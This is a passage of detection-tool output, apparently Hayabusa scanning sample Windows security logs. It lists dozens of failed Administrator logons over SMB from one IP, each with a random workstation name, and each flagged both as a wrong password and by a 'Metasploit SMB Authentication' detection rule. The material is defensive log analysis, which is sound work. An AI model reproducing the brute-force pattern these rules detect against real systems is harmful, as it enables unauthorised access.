Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.944 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VJjiRO5rJzZ8XtqP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.944 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.986 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ncBraDdG2htkHjXU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.986 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.033 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Lo9DNrL44Z2S2SYR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.033 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.075 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QKcFiKC5QiIoHtxy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.075 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.120 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sqvq9GwuPCO15lUV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.120 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4XzgtJ3qUmkFiIY5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.164 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.215 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V1wc1Hjb4AK0Np1q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.215 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.253 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PKYNy0JyxIlFusMC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.253 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.298 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IrcKp13ut9M0pCi0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.298 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.341 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B3lJSH0r8iHAVhPF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.341 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.392 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ju3lCbvbwvkIKsBo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.392 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.435 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dQOHcZeAKQG6wHhC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.435 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.474 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QBPkgoKDLABqdSQb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.474 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wqj4xOCsJg1j3IIh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.524 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.561 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XhBIu6wUPHc3DZAy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.561 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: W0fI1GhH5YTOHbNN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.604 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.652 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b7mLOWiojillZNYH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.652 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.702 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 37dknpwsl8j1WRWi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.702 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.748 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gzVum7a21sQe3fMt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.748 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.788 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JCFPSQmywelTXg74 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.788 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.832 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jCqb6TVV14hVX3NY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.832 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.888 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3qJsJrxVARedOdd3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.888 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.936 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s7iNkrkBNEbXPK0B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.936 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.975 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bio4zciNRolyeHc1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:15.975 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.026 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IFf1vN5MgAIsdZvx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.026 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.072 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zWhgUQSWAycVdYoS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.072 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ugHUJZuKHYfUHXWS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.116 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AUeUmYa72BzHfyhK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.168 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ksydur7W1mUoOZAE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.212 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.261 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YNIzopnsXH6OjcUs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.261 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.296 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SQljJkaWs8bcaOI1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.296 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1jejn6ZMo564m7ok : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.344 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.440 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KrpBO1SCHpt27CRM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.440 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ifPePsozBYRLCU3k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.484 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.521 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vve4r8QwaMLKrrcX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.521 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.569 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i9ArElR5k8yLefWu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.569 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4a1Y126C516BaGcz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.604 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.652 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VL7PnrO2dLsEbebQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.652 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.686 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GGTlLZ8J9f2PtiuL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.686 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6sVwPFs7bhJgJwRt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.728 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.772 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dgQNHL9etdHdRw9Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.772 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mjZrWpJlN2CwbxFc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.813 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.858 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 72lmrp6neWGKAURB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.858 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.896 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CnTi5dgoWunYutJ9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.896 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.936 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Vi2fTl07llsJEYyt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.936 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.980 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Hohh8KS1eYtojEya : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:16.980 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.020 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RsuC8F95UmsOSKvs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.020 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 